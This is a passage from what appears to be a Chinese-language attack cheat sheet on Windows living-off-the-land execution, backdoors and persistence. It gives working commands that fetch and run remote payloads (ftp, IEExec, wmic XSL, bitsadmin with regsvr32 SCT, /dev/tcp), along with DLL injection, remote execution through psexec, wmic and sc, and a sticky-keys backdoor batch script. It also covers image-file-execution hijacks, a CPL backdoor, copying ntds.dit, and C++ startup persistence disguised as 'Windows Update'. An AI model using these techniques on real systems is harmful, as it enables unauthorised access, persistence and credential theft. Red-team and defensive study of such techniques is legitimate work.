echo open 192.168.1.123 21 > ftp.txt
# 匿名登录或通过帐号密码登录
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET virus_filename.exe >> ftp.txt
ftp -s:ftp.txt

2. Pcalua

Windows程序兼容性助理(Program Compatibility Assistant)的一个组件,通过-a参数可以直接执行exe或者dll

C:\windows\system32\pcalua.exe -a C:\file.lnk 
C:\windows\system32\pcalua.exe -a notepad.exe 
C:\windows\system32\pcalua.exe -a \\server\payload.dll

3. InfDefaultInstall

传入.inf文件,shady.inf

[Version] 
Signature=$CHICAGO$

[DefaultInstall]
UnregisterDlls = Squiblydoo

[Squiblydoo]
11,,scrobj.dll,2,60,https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Minimalist.sct

执行指令,传入.inf文件

InfDefaultInstall.exe shady.inf

4. MavInject32

MavInject32.exe是微软应用程序虚拟化的一部分,可以直接完成向某一进程注入代码

"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>
C:\学习资料\dll注入>"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" 25740 /INJECTRUNNING ./test.dll

5. Forfiles

Forfiles一个选择并对文件或文件集执行命令的工具。 此命令可用于批处理。但是这里的批处指令实际上就是windows bat指令,也即提供了一个执行任意指令的机会。

forfiles /p c:\windows\system32 /m notepad.exe /c notepad.exe

forfiles.exe /c calc.exe

Relevant Link:

http://www.ggsec.cn/forfiles2.html

6. 利用IEEXC命令下载执行

# IEExec.exe只在.NET 2.0内才有
C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec http://site.com/files/test64.exe

Relevant Link:

https://www.anquanke.com/post/id/87176
https://blog.formsec.cn/2018/01/13/Windows%E4%B8%8A%E4%BC%A0%E5%B9%B6%E6%89%A7%E8%A1%8C%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E7%9A%84N%E7%A7%8D%E5%A7%BF%E5%8A%BF/
https://github.com/api0cradle/UltimateAppLockerByPassLis
http://www.cnblogs.com/backlion/p/7908563.htm

7. 利用Dnscmd注入dll

# Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll

8. Winword.exe

# Downloads payload from remote server
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

0x18:利用wmic执行进程

1. 使用wmic创建进程执行程序

wmic.exe process call create calc
# Execute calc.exe.

wmic.exe process call create "c:\ads\file.txt:program.exe"
# Execute a .EXE file stored as an Alternate Data Stream (ADS).

2. 使用wmi向远程主机执行指令

wmic /node:192.168.1.158 /user:pt007 /password:admin123  process call create "cmd.exe /c ipconfig>d:\result.txt"

3. 解析并执行XSL内的jscript/vbscript代码

wmic.exe process get brief /format:"https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
# Execute a script contained in the target .XSL file hosted on a remote server.

wmic.exe os get /format:"MYXSLFILE.xsl"
# Executes JScript or VBScript embedded in the target XSL stylesheet.

wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
# Executes JScript or VBScript embedded in the target remote XSL stylsheet.

 

0x19:在C:/WINOWS目录下寻找普通用户可写的目录

例如:

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color 
C:\Windows\Tasks C:\windows\tracing

0x20:利用系统原生自带脚本执行指令指令

1. Pubprn.vbs

在Windows 7以后系统中,微软有一个名为PubPrn.vbs的WSH脚本,其中使用了GetObject(),并且参数可控,我么可以向其传入script脚本的路径,进行WSH注入攻击

C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 javascript:https://gist.githubusercontent.com/api0cradle/fb164762143b1ff4042d9c662171a568/raw/709aff66095b7f60e5d6f456a5e42021a95ca802/test.sct

2. CL_Invocation.ps1

windows自带的诊断工具,可以执行exe文件

PS C:\> . C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1
PS C:\> SyncInvoke cmd.exe "/c ipconfig > E:\ip.txt"

3. slmgr.vbs/winrm.vbs

# Hijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code
reg.exe import c:\path\to\Slmgr.reg & cscript.exe /b c:\windows\system32\slmgr.vbs
cscript.exe /b c:\windows\system32\slmgr.vbs

Relevant Link: 

https://cloud.tencent.com/developer/article/1141143 

0x21:利用reflect反射从内存中执行shellcode代码

1. Assembly.Load

Assembly.load 是.Net Framework中System.Reflection namespace中的一种方法,它可以从内存、本地磁盘或者URL当中调用文件。.NET程序集最初只是读取权限,为了枚举与二进制文件相关联的方法和属性,又将权限更改为执行。所以这种方法只能执行C#编译的程序。

namespace formsec
{
    public class test
    {
        public static void exec()
        {
            System.Diagnostics.Process proc = new System.Diagnostics.Process();
            proc.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
            proc.Start();
        }
        static void Main(string[] args)
        {
            exec();
        }
    }
}

利用Assembly.Load在powershell中直接将文件读取到内存当中,并执行代码当中的shellcode

# 读取bytecode
$bytes = [System.IO.File]::ReadAllBytes(".\notepad.exe")
# 从shellcode中通过反射加载对应的object
[Reflection.Assembly]::Load($bytes)
# 调用object中包含的方法
[formsec.test]::exec()

0x22:通过/tcp/tcp下载文件

exec 5<>/dev/tcp/sec-lab.org/80 &&echo -e “GET /c.pl HTTP/1.0\n” >&5 && cat<&5 > c.pl

本质上还是通过http方式下载文件,但是不是通过封装好http请求协议的wget/curl等工具,而是直接通过原生的linux /proc/tcp建立tcp session通道后,发送人工沟通的http request请求头,实现文件下载功能。

0x23:利用psexec远程执行指令

PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。 

参数:

用法:psexec [\\computer[,computer2[,...] | @file][-u user [-p psswd]][-n s][-l][-s|-e][-x][-i [session]][-c [-f|-v]][-w directory][-d][-][-a n,n,...] cmd [arguments]

1. 直接向远程受害者服务器拷贝文件

psexec \\marklap -c test.exe

2. 向远程系统植入下载指令,利用远程服务器上的下载工具进行恶意软件的下载

此命令通过 /all 开关在远程系统上执行 IpConfig,并在本地显示输出结果: psexec \\marklap ipconfig /all

Relevant Link:

https://www.cnblogs.com/ssooking/articles/6082395.html
http://www.voidcn.com/article/p-bjexhmwz-eh.html
https://blog.51cto.com/leomars/1900528

0x24:利用sc定时任务执行指令

# 向远程主机执行指令
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test

# 本机执行指令
sc create test binpath= "c:\test.exe"
sc start test

Relevant Link:

https://xz.aliyun.com/t/5957

0x25:利用系统原生组件执行脚本文件

1. 利用Esentutl.exe实现文件拷贝及远程文件下载

# Copies the source VBS file to the destination VBS file.
esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o

# Copies a (locked) file using Volume Shadow Copy
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit

# Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o

# Copies the source Alternate Data Stream (ADS) to the destination EXE.
esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o

# Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.
esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o

# Copies the source EXE to the destination EXE file
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o

0x26:利用UNC机制从远程下载文件

 

# Copy the source file to the destination file and overwrite it.
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt

# Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is downloaded to the target file.
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe

  

3. 后门植入

0x1:登录后门

1. 3389 shift后门

后门种类:

1. windows放大镜后门: %SystemRoot%\system32\magnify.exe
2. windows屏幕键盘后门: %SystemRoot%\system32\osk.exe
3. windows shift后门: %SystemRoot%\system32\sethc.exe

写入一个bat批处理文件:

@echo off 
cls 
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
echo. 
echo Shift后门 
echo.sproink 
@copy c:\windows\explorer.exe c:\windows\system32\sethc.exe 
@copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 
@attrib c:\windows\system32\sethc.exe +h 
@attrib c:\windows\system32\dllcache\sethc.exe +h 
echo 使用方法:本文件执行完毕后, 
echo 在终端界面按Shift 5次即可登陆系统! 
echo. 
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe 
echo 完成百分之 50 
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 
echo 完成百分之 80 
attrib c:\windows\system32\sethc.exe +h 
echo 完成百分之 90 
attrib c:\windows\system32\dllcache\sethc.exe +h 
echo 完成百分之 100 
cls 
echo. 
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
echo 后门安装完毕! 
echo. 
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
echo. 
echo. & pause 
exit

执行后即可完成后门替换,之后在登录界面连续按5次shift按键即可触发exploere UI界面。

但是要注意的是,在2008 R2及以后,服务器默认配置了“远程桌面服务连接的网络级别身份验证”,网络级别身份验证在建立远程桌面连接并出现登录屏幕之前完成用户身份验证。这是比较安全的身份验证方法,有助于保护远程计算机避免恶意用户和恶意软件的攻击,这种情况下,shift后门是没有用的,因为跳过了登录界面那一环节

若要使用网络级别身份验证,必须满足以下要求:

1. 在客户端计算机上,必须至少使用 Remote Desktop Connection 6.02. 客户端计算机必须使用支持凭据安全支持提供程序 (CredSSP) 协议的操作系统(如 Windows 7、Windows Vista 或 Windows XP Service Pack 3)。
3. RD 会话主机服务器必须运行 Windows Server 2008 R2 或 Windows Server 2008

开启过程如下

1. 在 RD 会话主机服务器上,打开“远程桌面会话主机配置”。要打开“远程桌面会话主机配置”,请单击「开始」,依次指向“管理工具”、“远程桌面服务”,然后单击“远程桌面会话主机配置”。
2. 在“连接”下,右键单击相应的连接名,然后单击“属性”。
3. 在“常规”选项卡上,选中“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”复选框。
如果“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”复选框已选中但未启用,则“要求使用网络级别身份验证对远程连接进行用户身份验证”组策略设置已启用并应用于 RD 会话主机服务器。
4. 单击“确定”。

开启了该选项后,client登录服务器的3389界面都变成了如下界面,只能进行网络级别的凭据验证

除了直接替换binary文件,还可以通过映象劫持的方法实现shift后门

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

Relevant Link:

https://technet.microsoft.com/zh-cn/library/cc732713(v=ws.11).asp

2. server 2012后的辅助工具管理器

利用辅助工具管理器后门(放大镜后门原理相同,进程为sethc.exe)绕过系统登录界面,进程: utilman.exe

登录界面可通过点击图标对其调用,如下图

调用辅助工具管理器的快捷键: Win+U

通过注册表劫持实现后门,修改注册表的命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Relevant Link:

http://www.4hou.com/penetration/10015.html
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770988(v=ws.10)

0x2:注册表后门

1. Control Panel(控制面板文件代码执行)

 

控制面板的每一项一般都会对应一个.CPL 文件,这些文件存于系统目录下。

当启动控制面板时,Windows\System 文件夹中的.cpl 文件会自动加载。以“.CPL”扩展名结尾的文件其实是“.dll”文件,用IDA打开可以发现CPL文件都导出了一个CPLApplet函数。注意:CPL文件一定要把函数CPLApplet导出,这样控制面板才能找到程序的入口点。

函数CPLApplet是控制面板应用程序的入口点,它被控制面板管理程序自动调用,并且是个回调函数。

当启动控制面板时,它会搜索Windows或System32或注册表的相应条目目录下的文件,并把以CPL作为扩展名的文件载入,它调用CPL文件的导出函数CPLApplet(),发送消息给该函数。所以,控制面板应用程序要处理控制面板发送过来的消息,即在函数CPLApplet中进行处理,该函数没有默认的行为。如果一个CPL文件中实现了多个控制面板程序,那么只会有一个CPLApplet函数,它负责所有的控制面板应用程序。

Cpl文件按照dll文件的编写,

extern "C" __declspec(dllexport) LONG CPLApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
     return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
            DWORD ul_reason_for_call,
            LPVOID lpReserved
           )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
          WinExec("cmd", SW_SHOW);
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}
View Code

编译成功后,将dll后缀名改成cpl,并修改注册表项。在控制面板启动时设置好的代码将会被执行。这种方法可以用于bypass AppLocker,也可以用来设置后门。

控制面板在打开的时候,系统会从注册表下列位置读取并加载cpl文件(本质上是dll文件)

HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs
HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs

 

其中HKCU是普通用户可控制的注册表路径,我们可以通过“dll注入、dll劫持”的思路,向这个路径下写入我们自定义的dll文件,实现控制面板功能劫持的目的。

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Cpls" /v pentestlab.cpl /t REG_SZ /d "C:\pentestlab.cpl"

Relevant Link:

https://www.contextis.com/blog/applocker-bypass-via-registry-key-manipulation
https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/
https://github.com/GreatSCT/GreatSCT
https://github.com/redcanaryco/atomic-red-team
http://www.freebuf.com/articles/system/155147.html

2. Registry Run Keys

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders 
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices 
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders 
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager 

0x3:WIndows 身份认证的接口(SSPI)后门

SSP的二进制形式是DLL,提供用来处理身份认证的接口(SSPI)。

白帽子可以通过注册一个ssp来处理用户登录时输入的凭据,一次实现passwd keylogger的目的。

mimikatz直接在内存中加载自定义的ssp dll,能够在用户登录时获取到明文凭据。

 

锁屏等待用户再次登录后,查看system32下的文件,

  

4. 持久化(persistent)

0x1:基于bitadmins实现自启动

bitsadmin除了可以进行文件下载之外,还具有一个注册计划任务的能力,可以向bitsadmin中添加一个任务,任务的代码可以任意指定,它会在每次重新启动机器时被执行。

#!bash
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor "%COMSPEC%" "cmd.exe /c regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll" 

或者直接调用regsvr32,避免弹出cmd的黑框

#!bash
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll" 
bitsadmin /Resume backdoor

重启系统,代码成功执行,调用regsvr32.exe,执行 https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct 中的内容,弹出计算器

Relevant Link:

https://www.tuicool.com/articles/rqe63qj 

0x2:远程桌面登录

1. 利用tscon实现未授权登录远程桌面的方法

正常情况,tscon切换rdp session用户需要输入对应的rdp session id以及密码,但是如果我们以system权限运行,则不需要输入密码,直接通过tscon切换用户。

# 获取当前rdp session列表
query user
# 获得system权限
tscon 2
# 成功登陆对应账号rdp session 

0x3:添加系统自启动项实现持久化

1. ATBroker.exe

atbroker.exe(C:\Windows\System32目录下),源于微软的“轻松访问中心”。

”轻松访问中心”的一项功能是帮助用户启动辅助功能应用程序,常用的包括

  • 讲述人
  • 屏幕键盘
  • 放大镜

同时,这意味着第三方程序也可以通过注册“轻松访问中心”的方式来启动。攻击者也可以利用atbroker.exe启动恶意程序。

命令行启动方式:

ATBroker.exe /start malware

注册表注入方式:

Changes to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\Configuration
Changes to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs 

注册成功后,触发atbroker.exe启动,有以下几个场景:

(1)锁屏或者登录时
(2)开机启动时
(3)运行atbroker.exe时
(4)按下Ctrl+Alt+Del时
(5)触发UAC时

Relevant Link:

http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/
https://msdn.microsoft.com/library/windows/desktop/mt826492
http://reverse-tcp.xyz/2017/12/28/windows-to-download-and-execute-arbitrary-code/
https://zhuanlan.zhihu.com/p/36859605
https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5d497aefe58b7e00011f6947/1565096688890/Windows+Registry+Auditing+Cheat+Sheet+ver+Aug+2019.pdf 

2. Registry Run Keys

3. Startup Folder

文件快捷方式是一种用户界面中的句柄,它允许用户找到或使用位于另一个目录或文件夹的一个文件或资源,快捷方式还可能额外指定命令行参数,从而在运行它时将所定参数传递到目标程序。

Startup文件夹是Windows操作系统中的功能,它使用户能够在Windows启动时自动运行指定的程序集。在不同版本的Windows中,启动文件夹的位置可能略有不同。任何需要在系统启动时自动运行的程序都必须存储为此文件夹中的快捷方式。

  • 攻击者可以通过在Startup目录建立快捷方式以执行其需要持久化的程序
  • 还可以编辑目标路径或完全替换现有快捷方式,以便执行其工具而不是预期的合法程序

如下的代码演示了在Startup目录建立快捷方式来实现后门持久化:

BOOL add_to_lnkfile()

{

    BOOL  ret = FALSE;

    HRESULT  hcode;

    TCHAR  startup_path[MAX_PATH];

    TCHAR  save_path[MAX_PATH*2];

    TCHAR  command[MAXBYTE * 2];

 

    IShellLink*  shelllnk = NULL;

    IPersistFile*  pstfile = NULL;

   

    hcode  = CoInitialize(NULL);

    if  (hcode != S_OK)

    {

       goto  Error_Exit;

    }

   

    hcode  = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,  IID_IShellLink, (void**)&shelllnk);

    if  (hcode != S_OK)

    {

       goto  Error_Exit;

    }

   

    hcode  = shelllnk->QueryInterface(IID_IPersistFile,(void**)&pstfile);

    if  (hcode != S_OK)

    {

       goto  Error_Exit;

    }

 

    //设置快捷方式命令

    wsprintf(command,  _TEXT("C:\\windows\\system32\\rundll32.exe"));

    hcode  = shelllnk->SetPath(command);

    if  (hcode != S_OK)

    {

       MessageBox(NULL,  command, command,MB_OK);

       goto  Error_Exit;

    }

 

    wsprintf(command,  _TEXT(" %s %s"), _TEXT("c:\\topsec.dll"),  _TEXT("RunProc"));

    hcode  = shelllnk->SetArguments(command);

    if  (hcode != S_OK)

    {

       goto  Error_Exit;

    }

 

    wsprintf(command,  _TEXT("%s"), _TEXT("This is For Windows Update!!!"));

    hcode  = shelllnk->SetDescription(command);

    if  (hcode != S_OK)

    {

       goto  Error_Exit;

    }

 

    hcode  = shelllnk->SetWorkingDirectory(_TEXT("c:\\"));

    if  (hcode != S_OK)

    {

       goto  Error_Exit;

    }

   

    //获取启动目录

    if(SHGetSpecialFolderPath(NULL,  startup_path, CSIDL_STARTUP, FALSE) == FALSE)

    {

       goto  Error_Exit;

    }

    wsprintf(save_path,  _TEXT("%s\\%s"), startup_path, _TEXT("Windows  Update.Lnk"));

    hcode  = pstfile->Save(save_path, TRUE);

    if  (hcode != S_OK)

    {

       goto  Error_Exit;

    }

   

    ret  = TRUE;

Error_Exit:

    if  (shelllnk != NULL)

    {

       shelllnk->Release();

       shelllnk  = NULL;

    }

 

    if  (pstfile != NULL)

    {

       pstfile->Release();

       pstfile  = NULL;

    }

    CoUninitialize();

    return  ret;

}
View Code

从资源中释放文件的代码如下:

BOOL ReleaseFile(LPTSTR resource_type,  LPTSTR resource_name, LPCTSTR save_path)

{

    BOOL  ret = FALSE;

 

    DWORD  cb = NULL;

    HRSRC  h_resource = NULL;

    DWORD  resource_size  = NULL;

    LPVOID  resource_pt = NULL;

    HGLOBAL  h_resource_load = NULL;

    HANDLE  save_file  = NULL;

 

    h_resource  = FindResource(NULL, resource_name, resource_type);

    if  (NULL == h_resource)

    {

       goto  Error_Exit;

    }

 

    resource_size  = SizeofResource(NULL, h_resource);

    if  (0 >= resource_size)

    {

       goto  Error_Exit;

    }

 

    h_resource_load  = LoadResource(NULL, h_resource);

    if  (NULL == h_resource_load)

    {

       goto  Error_Exit;

    }

 

    resource_pt  = LockResource(h_resource_load);

    if  (NULL == resource_pt)

    {

       goto  Error_Exit;

    }

   

    save_file  = CreateFile(save_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS,  FILE_ATTRIBUTE_NORMAL, NULL);

    if(save_file  == INVALID_HANDLE_VALUE)

    {

       goto  Error_Exit;

    }

 

    for  (DWORD i = 0; i < resource_size; i++)

    {

       if  ((WriteFile(save_file,(PBYTE)resource_pt + i, sizeof(BYTE), &cb, NULL) ==  FALSE) ||

           (sizeof(BYTE)  != cb))

       {

           goto  Error_Exit;

       }

    }

 

 

    ret  = TRUE;

Error_Exit:

    if  (h_resource_load != NULL)

    {

       FreeResource(h_resource_load);

       h_resource_load  = NULL;

    }

    if  (h_resource != NULL)

    {

       CloseHandle(h_resource);

       h_resource  = NULL;

    }

 

    return  ret;

}
View Code 

0x4:基于辅助功能镜像劫持功能实现持久化

1. 辅助功能简介

所谓辅助功能就是在Windows系统中,我们可以使用多种组合键打开或关闭特定的功能,例如常用的

  • win + ctrl + o打开屏幕键盘
  • win + u打开设置中心
  • 连按5次shift打开粘滞键
  • ..

微软为了提高用户体验,允许用户在登陆系统前也可以使用这些功能,根据这个特性,某些攻击者很可能通过远程桌面协议,在未授权的情况下运行这些功能,包括

  • C:\WINDOWS\System32\Utilman.exe 打开设置中心
  • C:\WINDOWS\System32\sethc.exe 打开粘滞键
  • C:\WINDOWS\Syetem32\osk.exe 打开屏幕键盘

如果这些组合键运行的系统命令遭到篡改,本来应该打开‘十分安全’的辅助程序却被另一恶意程序代替执行,最终导致在用户不知情的情况下,获得系统权限,留下隐蔽后门。

上面说的本质上还是一种后门技术,但是还是那句老话,”所有的安全问题本质上都是功能控制的滥用“,攻击者可以利用windows系统提供的这个辅助功能,实现后门持久化的目的,这就是所谓的”辅助功能镜像劫持“。

2. 镜像劫持原理简介

“镜像劫持”,又叫“映像劫持”,也被称为“IFEO”(Image File Execution Options),在Windows NT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。

当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而Windows NT架构的系统能通过特定的注册表项(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File ExecutionOptions)使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。

映像劫持病毒就是通过修改某些注册表常用项的键值,达到在用户无意识的情况下想运行常用程序却让木马等恶意程序在后台运行的目的。

WINDOWS NT系统在试图执行一个从命令行调用的可执行文件运行请求时,会先检查运行程序是不是可执行文件,如果是的话,再检查格式,然后就会检查是否存在调试程序配置。

由此我们发现,造成镜像劫持的罪魁祸首就是参数“Debugger”,他是IFEO里第一个被处理的参数,若果该参数不为空,系统则会把Debugger参数里指定的程序文件名作为用户试图启动的程序执行请求来处理,而仅仅把用户试图启动的程序作为Debugger参数里指定的程序文件名的参数发送过去。

参数“Debugger”本来是为了让程序员能够通过双击程序文件直接进入调试器里调试自己的程序。现在却成了病毒的攻击手段。

让我们进行更深的思考,当更改的表项是杀毒软件所在的表项,会造成什么后果。毫无疑问,杀毒软件完全没办法工作,不仅绕过了杀毒软件还隐秘的执行了自己的恶意程序,一般用户根本想不到杀毒软件的注册表项会被篡改,这就进一步增加了攻击后可利用的时间。危害性不言而喻。

3. 镜像劫持实现代码示例

#include <iostream>
#include <Windows.h>

using namespace std;

int test(){
DWORD dwDisposition;
HKEY hKey;
const char path[] = "C:\WINDOWS\System32\calc.exe";
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\chrome.exe", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

return 0;}

int main(){
test();
return 0;}

恶意程序运行后,注册表中chrome.exe新增键值对Debugger=“C:\WINDOWS\System32\calc.exe”

注册表项遭到修改后,双击运行chrome运行,本该打开网页却打开了计算器程序,因为系统优先执行了”C:\WINDOWS\System32\calc.exe”。造成了镜像劫持攻击。 

4. 辅助功能镜像劫持的攻击面

辅助功能镜像劫持攻击的本质是,滥用了系统辅助功能,实现指令劫持、持久化、后门隐藏的目的。因此,攻击面可以有很多,这里列举主要的几种:

  • 后门隐藏
    • RDP后门
      • 修改注册表,在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”中添加Utilman.exe项,在此项中添加debugger键,键值为启动cmd的命令C:\WINDOWS\System32\cmd.exe 
      • reg  add "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" /v Debugger /t REG_SZ /d "cmd.exe"
      • 当攻击者通过远程桌面协议连接到受害者电脑上时,只需使用组合键win+u,本应该打开的设置中心,最终却打开了cmd命令行,通过命令行可以添加用户、打开注册表、运行恶意软件、添加隐蔽后门等等一些列攻击手段
  • 持久化隐藏
    • 应用软件启动劫持
      • reg  add \\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\notepad.exe\\" /v \\"Debugger\\" /t REG_SZ /d \\"\\\\\\"C:\\\\install\\\\Notepad2-mod.4.2.25.998\\\\Notepad2-mod\\\\Notepad2_x64.exe\\\\\\" /z\\" /f
    • 新增应用后门
      • reg.exe add \\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\SppExtComObj.Exe\\" /f /v \\"Debugger\\" /t REG_SZ /d \\"SppExtComObjPatcher.exe\\"
  • Silently exits
    • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"

Relevant Link:

https://www.freebuf.com/articles/es/214551.html 

0x5:利用 AppCertDlls 注册表项实现进程启动dll注入的持久化后门目的

1. 原理说明

如果有进程使用了

  • CreateProcess
  • CreateProcessAsUser
  • CreateProcessWithLoginW
  • CreateProcessWithTokenW
  • WinExec

